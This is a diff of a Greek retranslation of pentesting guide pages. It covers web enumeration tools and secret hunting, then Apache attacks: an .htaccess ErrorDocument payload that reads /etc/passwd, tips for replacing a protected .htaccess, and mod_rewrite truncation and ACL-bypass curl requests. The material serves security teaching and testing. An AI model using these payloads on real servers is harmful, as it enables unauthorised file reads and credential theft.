- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και γεμίζοντας forms) και επίσης βρίσκει ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένα regexes.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite είναι ένα προχωρημένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες της κυβερνοασφάλειας.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα Go package και [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για εξαγωγή URLs, paths, secrets και άλλων ενδιαφερόντων δεδομένων από JavaScript source code.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge είναι ένα απλό **Burp Suite extension** για **εξαγωγή των parameters και endpoints** από τα request ώστε να δημιουργηθούν custom wordlist για fuzzing και enumeration.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Εξαιρετικό εργαλείο για αυτό.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε link που μπορεί να βρει.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
|
||||
Ξεκινήστε το **brute-forcing** από το root folder και βεβαιωθείτε ότι θα brute-force **όλες** τις **directories που βρέθηκαν** χρησιμοποιώντας **αυτή τη μέθοδο** και όλες τις directories **που ανακαλύφθηκαν** από το **Spidering** (μπορείτε να κάνετε αυτό το brute-forcing **αναδρομικά** και να προσθέσετε στην αρχή του χρησιμοποιούμενου wordlist τα ονόματα των βρεθέντων directories).\
|
||||
Tools:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
|
||||
- **Dirb** / **Dirbuster** - Περιλαμβάνονται στο Kali, **παλιά** (και **αργά**) αλλά λειτουργικά. Επιτρέπουν auto-signed certificates και αναδρομική αναζήτηση. Πολύ πιο αργά σε σύγκριση με τις άλλες επιλογές.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Δεν επιτρέπει auto-signed certificates αλλά** επιτρέπει αναδρομική αναζήτηση.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Επιτρέπει auto-signed certificates, **δεν** έχει **αναδρομική** αναζήτηση.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Γρήγορο, υποστηρίζει αναδρομική αναζήτηση.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που, δεδομένης της λίστας των βρεθέντων URLs, θα διαγράψει "duplicated" URLs.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension για δημιουργία λίστας directories από το burp history διαφορετικών σελίδων.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με duplicated λειτουργικότητες (βασισμένο σε js imports).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί wapalyzer για να ανιχνεύσει τις τεχνολογίες που χρησιμοποιούνται και να επιλέξει τα wordlists που θα χρησιμοποιηθούν.
|
||||
|
||||
**Recommended dictionaries:**
|
||||
|
||||
@ -268,41 +268,41 @@ Tools:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Σημείωση ότι κάθε φορά που ανακαλύπτεται ένας νέος κατάλογος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνεται Brute-Force σε αυτόν._
|
||||
_Σημειώστε ότι κάθε φορά που ένα νέο directory ανακαλύπτεται κατά το brute-forcing ή το spidering, θα πρέπει να γίνεται Brute-Forced._
|
||||
|
||||
### What to check on each file found
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
|
||||
- **File Backups**: Μόλις βρείτε όλα τα αρχεία, ψάξτε για backups όλων των executable αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές ονομασίας backup είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Discover new parameters**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυμμένες παραμέτρους. Αν μπορείτε, προσπαθήστε να αναζητήσετε** κρυμμένες παραμέτρους σε κάθε executable web αρχείο.
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε broken links μέσα σε HTMLs που μπορεί να είναι επιρρεπή σε takeovers.
|
||||
- **File Backups**: Μόλις βρείτε όλα τα αρχεία, ψάξτε για backups όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές ονοματοδοσίας για backup είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Discover new parameters**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, δοκιμάστε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο web αρχείο.
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Comments:** Ελέγξτε τα comments όλων των αρχείων, μπορεί να βρείτε **credentials** ή **hidden functionality**.
|
||||
- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
|
||||
- **API keys**: Αν βρείτε κάποιο API key υπάρχει οδηγός που δείχνει πώς να χρησιμοποιηθούν API keys από διάφορες πλατφόρμες: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: Αν βρείτε κάποιο API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποια apis μπορεί να προσπελάσει το key.
|
||||
- **S3 Buckets**: Κατά το spidering ελέγξτε αν κάποιο **subdomain** ή κάποιο **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**check** the **permissions** of the bucket](buckets/index.html).
|
||||
- **Comments:** Ελέγξτε τα comments όλων των αρχείων, μπορεί να βρείτε **διαπιστευτήρια** ή **κρυφές λειτουργικότητες**.
|
||||
- Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύψετε** **πληροφορίες** μέσα σε comments δεξιά της σελίδας (χρησιμοποιώντας **εκατοντάδες** spaces ώστε να μην φαίνεται το δεδομένο αν ανοίξετε τον source με τον browser). Άλλη πιθανότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και να **κρύψετε πληροφορία** σε ένα comment στο **bottom** της σελίδας.
|
||||
- **API keys**: Αν βρείτε κάποιο API key υπάρχει ένας οδηγός που δείχνει πώς να χρησιμοποιήσετε API keys από διαφορετικές πλατφόρμες: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: Αν βρείτε κάποιο API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες apis μπορεί να προσπελάσει το key.
|
||||
- **S3 Buckets**: Κατά τη διάρκεια του spidering κοιτάξτε αν κάποιο **subdomain** ή κάποιο **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τα **permissions** του bucket](buckets/index.html).
|
||||
|
||||
### Special findings
|
||||
|
||||
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
|
||||
Κατά την εκτέλεση του **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να **σημειώσετε**.
|
||||
|
||||
**Interesting files**
|
||||
|
||||
- Ψάξτε για **links** προς άλλα αρχεία μέσα στα **CSS** αρχεία.
|
||||
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||
- Αν βρείτε ένα _**.env**_ μπορούν να βρεθούν πληροφορίες όπως api keys, dbs passwords και άλλες πληροφορίες.
|
||||
- Αν βρείτε **API endpoints** θα [should also test them](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα "θα μοιάζουν" με αυτά.
|
||||
- **JS files**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν paths από JS αρχεία. Επίσης, είναι χρήσιμο να **monitor** κάθε JS αρχείο που βρέθηκε, αφού σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδείξει ότι εισήχθη μια πιθανή ευπάθεια στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Αν βρείτε ένα _**.env**_ μπορεί να βρείτε πληροφορίες όπως api keys, dbs passwords και άλλες ευαίσθητες πληροφορίες.
|
||||
- Αν βρείτε **API endpoints** θα πρέπει να [τους δοκιμάσετε επίσης](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανώς "θα μοιάζουν" με αρχεία.
|
||||
- **JS files**: Στην ενότητα spidering αναφέρθηκαν πολλά εργαλεία που μπορούν να εξάγουν paths από JS αρχεία. Επίσης, είναι χρήσιμο να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε κάποιες περιπτώσεις μια αλλαγή μπορεί να υποδηλώνει ότι εισήχθη μια ευπάθεια στον κώδικα. Μπορείτε για παράδειγμα να χρησιμοποιήσετε [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- Σε αρκετές περιπτώσεις, θα χρειαστεί να **understand the regular expressions** που χρησιμοποιούνται. Αυτό θα είναι χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Μπορείτε επίσης να **monitor** τα αρχεία όπου ανιχνεύθηκαν φόρμες, καθώς μια αλλαγή στις παραμέτρους ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδεικνύει μια νέα πιθανή ευάλωτη λειτουργικότητα.
|
||||
- Σε πολλές περιπτώσεις θα χρειαστεί να **καταλάβετε τα regular expressions** που χρησιμοποιούνται. Αυτό θα σας φανεί χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Μπορείτε επίσης να **παρακολουθείτε** τα αρχεία όπου ανιχνεύτηκαν φόρμες, καθώς μια αλλαγή στις παραμέτρους ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια νέα πιθανή ευπάθεια.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -313,28 +313,28 @@ _Σημείωση ότι κάθε φορά που ανακαλύπτεται έ
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Αν κάποια σελίδα **απαντάει** με αυτόν τον **κωδικό**, πιθανότατα είναι **κακώς ρυθμισμένος proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** θα προσπαθήσει να **access** _**google.com**_ **και θα έχετε βρει ένα** SSRF.
|
||||
Αν κάποια σελίδα **απαντήσει** με αυτόν τον **κωδικό**, πιθανότατα είναι **κακώς ρυθμισμένος proxy**. **Αν στείλετε ένα HTTP request όπως: `GET https://google.com HTTP/1.1`** (με το host header και άλλα συνηθισμένα headers), ο **proxy** θα προσπαθήσει να **προσπελάσει** _**google.com**_ **και θα έχετε βρει ένα** SSRF.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Αν ο server που ζητάει authentication είναι **Windows** ή βρείτε ένα login που ζητάει τα **credentials** σας (και ζητάει **domain** **name**), μπορείτε να προκαλέσετε **information disclosure**.\
|
||||
**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του τρόπου που λειτουργεί η **NTLM authentication**, ο server θα απαντήσει με εσωτερικές πληροφορίες (IIS version, Windows version...) μέσα στο header "WWW-Authenticate".\
|
||||
Μπορείτε να **automate** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_".
|
||||
Αν ο server που ζητά authentication είναι **Windows** ή βρείτε ένα login που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε **information disclosure**.\
|
||||
**Στείλτε** το **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του τρόπου που δουλεύει το **NTLM authentication**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στο header "WWW-Authenticate".\
|
||||
Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Είναι πιθανό να **βάλετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει την ανακατεύθυνση) αλλά κάτι μπορεί να είναι **κρυμμένο** εκεί.
|
||||
Είναι πιθανό να **τοποθετήσετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει το redirection) αλλά κάτι θα μπορούσε να είναι **κρυμμένο** μέσα εκεί.
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
Τώρα που έχει γίνει μια πλήρης enumeration της web εφαρμογής, είναι ώρα να ελεγχθούν πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε την checklist εδώ:
|
||||
Τώρα που έχει γίνει μια ολοκληρωμένη enumeration της web εφαρμογής, είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε το checklist εδώ:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
Find more info about web vulns in:
|
||||
Βρείτε περισσότερες πληροφορίες για web vulns σε:
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
@ -342,7 +342,7 @@ Find more info about web vulns in:
|
||||
|
||||
### Monitor Pages for changes
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για τροποποιήσεις που ενδέχεται να εισάγουν ευπάθειες.
|
||||
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για αλλαγές που ενδέχεται να εισαγάγουν ευπάθειες.
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Εκτελέσιμες επεκτάσεις PHP
|
||||
|
||||
Ελέγξτε ποιες επεκτάσεις PHP εκτελεί ο Apache. Για να τις αναζητήσετε μπορείτε να εκτελέσετε:
|
||||
Ελέγξτε ποιες επεκτάσεις εκτελεί ο διακομιστής Apache. Για να τις εντοπίσετε μπορείτε να εκτελέσετε:
|
||||
```bash
|
||||
grep -R -B1 "httpd-php" /etc/apache2
|
||||
```
|
||||
Επίσης, μερικά μέρη όπου μπορείτε να βρείτε αυτή τη διαμόρφωση είναι:
|
||||
Επίσης, κάποια σημεία όπου μπορείτε να βρείτε αυτή τη διαμόρφωση είναι:
|
||||
```bash
|
||||
/etc/apache2/mods-available/php5.conf
|
||||
/etc/apache2/mods-enabled/php5.conf
|
||||
@ -23,12 +23,12 @@ Linux
|
||||
```
|
||||
## LFI μέσω .htaccess ErrorDocument file provider (ap_expr)
|
||||
|
||||
Αν μπορείτε να ελέγξετε το .htaccess ενός καταλόγου και το AllowOverride περιλαμβάνει FileInfo για αυτό το μονοπάτι, μπορείτε να μετατρέψετε τις 404 απαντήσεις σε αυθαίρετες τοπικές αναγνώσεις αρχείων χρησιμοποιώντας τη συνάρτηση ap_expr file() μέσα στο ErrorDocument.
|
||||
Αν μπορείτε να ελέγξετε το .htaccess ενός καταλόγου και το AllowOverride περιλαμβάνει FileInfo για αυτό το μονοπάτι, μπορείτε να μετατρέψετε τις απαντήσεις 404 σε αυθαίρετη ανάγνωση τοπικών αρχείων χρησιμοποιώντας τη συνάρτηση ap_expr file() μέσα σε ErrorDocument.
|
||||
|
||||
- Απαιτήσεις:
|
||||
- Apache 2.4 με ενεργοποιημένο parser εκφράσεων (ap_expr) (προεπιλογή στο 2.4).
|
||||
- Ο vhost/dir πρέπει να επιτρέπει στο .htaccess να ορίσει το ErrorDocument (AllowOverride FileInfo).
|
||||
- Ο Apache worker user πρέπει να έχει δικαιώματα ανάγνωσης στο αρχείο-στόχο.
|
||||
- Apache 2.4 με expression parser (ap_expr) ενεργοποιημένο (προεπιλογή στο 2.4).
|
||||
- Το vhost/dir πρέπει να επιτρέπει στο .htaccess να ορίζει ErrorDocument (AllowOverride FileInfo).
|
||||
- Ο χρήστης worker του Apache πρέπει να έχει δικαιώματα ανάγνωσης στο στοχευόμενο αρχείο.
|
||||
|
||||
.htaccess payload:
|
||||
```apache
|
||||
@ -37,31 +37,31 @@ Header always set X-Debug-Tenant "demo"
|
||||
# On any 404 under this directory, return the contents of an absolute filesystem path
|
||||
ErrorDocument 404 %{file:/etc/passwd}
|
||||
```
|
||||
Προκαλείται ζητώντας οποιοδήποτε μη υπάρχον μονοπάτι κάτω από αυτόν τον κατάλογο, για παράδειγμα όταν γίνεται κατάχρηση του userdir-style hosting:
|
||||
Ενεργοποιείται ζητώντας οποιαδήποτε μη υπάρχουσα διαδρομή κάτω από αυτόν τον κατάλογο, για παράδειγμα όταν γίνεται κατάχρηση του userdir-style hosting:
|
||||
```bash
|
||||
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
|
||||
```
|
||||
Notes and tips:
|
||||
- Μόνο οι απόλυτες διαδρομές λειτουργούν. Το περιεχόμενο επιστρέφεται ως το response body για τον 404 handler.
|
||||
- Οι αποτελεσματικές άδειες ανάγνωσης είναι αυτές του χρήστη Apache (τυπικά www-data/apache). Δεν θα διαβάσετε /root/* ή /etc/shadow σε προεπιλεγμένες ρυθμίσεις.
|
||||
- Ακόμα κι αν το .htaccess είναι root-owned, αν ο γονικός κατάλογος ανήκει σε tenant και επιτρέπει rename, μπορεί να καταφέρετε να μετονομάσετε το αρχικό .htaccess και να ανεβάσετε τη δική σας αντικατάσταση μέσω SFTP/FTP:
|
||||
Σημειώσεις και συμβουλές:
|
||||
- Only absolute paths work. The content is returned as the response body for the 404 handler.
|
||||
- Τα πραγματικά δικαιώματα ανάγνωσης είναι αυτά του χρήστη Apache (συνήθως www-data/apache). Δεν θα διαβάσετε /root/* ή /etc/shadow σε προεπιλεγμένες ρυθμίσεις.
|
||||
- Ακόμα και αν .htaccess είναι root-owned, αν ο γονικός κατάλογος είναι tenant-owned και επιτρέπει rename, μπορεί να είστε σε θέση να μετονομάσετε το αρχικό .htaccess και να ανεβάσετε τη δική σας αντικατάσταση μέσω SFTP/FTP:
|
||||
- rename .htaccess .htaccess.bk
|
||||
- put your malicious .htaccess
|
||||
- Χρησιμοποιήστε αυτό για να διαβάσετε τον πηγαίο κώδικα της εφαρμογής κάτω από DocumentRoot ή vhost config paths για να συλλέξετε μυστικά (DB creds, API keys, κ.λπ.).
|
||||
- Χρησιμοποιήστε αυτό για να διαβάσετε application source κάτω από DocumentRoot ή vhost config paths για να συλλέξετε μυστικά (DB creds, API keys, etc.).
|
||||
|
||||
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
|
||||
|
||||
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. Η επίθεση "confusion" καταχράται ουσιαστικά το γεγονός ότι οι δεκάδες modules που συνεργάζονται για να δημιουργήσουν ένα Apache δεν λειτουργούν τέλεια συγχρονισμένα, και το ότι μερικά από αυτά τροποποιούν απροσδόκητα δεδομένα μπορεί να προκαλέσει ευπάθεια σε μεταγενέστερο module.
|
||||
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. Η "confusion" attack ουσιαστικά εκμεταλλεύεται το πώς οι δεκάδες modules που συνεργάζονται για να δημιουργήσουν ένα Apache δεν λειτουργούν τέλεια συγχρονισμένα — και το ότι μερικά από αυτά τροποποιούν απροσδόκητα δεδομένα μπορεί να προκαλέσει ευπάθεια σε κάποιο επόμενο module.
|
||||
|
||||
### Filename Confusion
|
||||
|
||||
#### Truncation
|
||||
|
||||
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Αυτό δεν είναι εντελώς λάθος καθώς τα περισσότερα modules θα αντιμετωπίσουν το `r->filename` ως URL. Αλλά σε άλλες περιπτώσεις αυτό θα αντιμετωπιστεί ως διαδρομή αρχείου, γεγονός που μπορεί να προκαλέσει πρόβλημα.
|
||||
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Αυτό δεν είναι εντελώς λάθος καθώς τα περισσότερα modules θα αντιμετωπίσουν το `r->filename` ως URL. Αλλά σε άλλες περιπτώσεις αυτό θα αντιμετωπιστεί ως file path, κάτι που μπορεί να προκαλέσει πρόβλημα.
|
||||
|
||||
- **Path Truncation**
|
||||
|
||||
Είναι δυνατόν να καταχραστείτε το `mod_rewrite` όπως στο παρακάτω παράδειγμα κανόνα για να αποκτήσετε πρόσβαση σε άλλα αρχεία στο σύστημα αρχείων, αφαιρώντας το τελευταίο μέρος της αναμενόμενης διαδρομής απλά προσθέτοντας ένα `?`:
|
||||
It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
|
||||
@ -76,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F
|
||||
```
|
||||
- **Mislead RewriteFlag Assignment**
|
||||
|
||||
Στον ακόλουθο rewrite rule, όσο το URL τελειώνει σε .php, θα αντιμετωπίζεται και θα εκτελείται ως php. Επομένως, είναι δυνατόν να στείλετε ένα URL που τελειώνει σε .php μετά τον χαρακτήρα `?`, ενώ στο path φορτώνετε έναν διαφορετικό τύπο αρχείου (όπως μια εικόνα) που περιέχει κακόβουλο κώδικα php:
|
||||
Στον παρακάτω κανόνα rewrite, όσο το URL τελειώνει σε .php θα αντιμετωπίζεται και θα εκτελείται ως php. Επομένως, είναι δυνατόν να σταλεί ένα URL που τελειώνει σε .php μετά το χαρακτήρα `?` ενώ στο μονοπάτι φορτώνεται τύπος αρχείου διαφορετικός (όπως μια εικόνα) με κακόβουλο κώδικα php μέσα του:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
|
||||
@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
|
||||
```
|
||||
#### **ACL Bypass**
|
||||
|
||||
Είναι δυνατόν να αποκτηθεί πρόσβαση σε αρχεία στα οποία ο χρήστης δεν θα έπρεπε να έχει πρόσβαση, ακόμη και αν η πρόσβαση θα έπρεπε να απορρίπτεται με ρυθμίσεις όπως:
|
||||
Είναι πιθανό να αποκτηθεί πρόσβαση σε αρχεία που ο χρήστης δεν θα έπρεπε να μπορεί να προσπελάσει, ακόμη και όταν η πρόσβαση θα έπρεπε να απορριφθεί από ρυθμίσεις όπως:
|
||||
```xml
|
||||
<Files "admin.php">
|
||||
AuthType Basic
|
||||
@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
|
||||
Require valid-user
|
||||
</Files>
|
||||
```
|
||||
Αυτό συμβαίνει επειδή από προεπιλογή το PHP-FPM θα λαμβάνει URLs που τελειώνουν σε `.php`, όπως `http://server/admin.php%3Fooo.php` και επειδή το PHP-FPM θα αφαιρεί οτιδήποτε μετά τον χαρακτήρα `?`, το προηγούμενο URL θα επιτρέψει τη φόρτωση του `/admin.php` ακόμη και αν ο προηγούμενος κανόνας το απαγόρευε.
|
||||
